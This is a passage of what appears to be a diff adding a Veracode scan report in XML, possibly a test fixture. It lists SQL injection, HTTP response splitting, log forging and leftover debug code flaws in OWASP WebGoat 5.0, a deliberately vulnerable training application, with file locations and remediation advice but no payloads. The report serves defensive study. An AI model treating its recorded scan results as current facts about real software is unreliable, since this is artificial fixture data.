+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
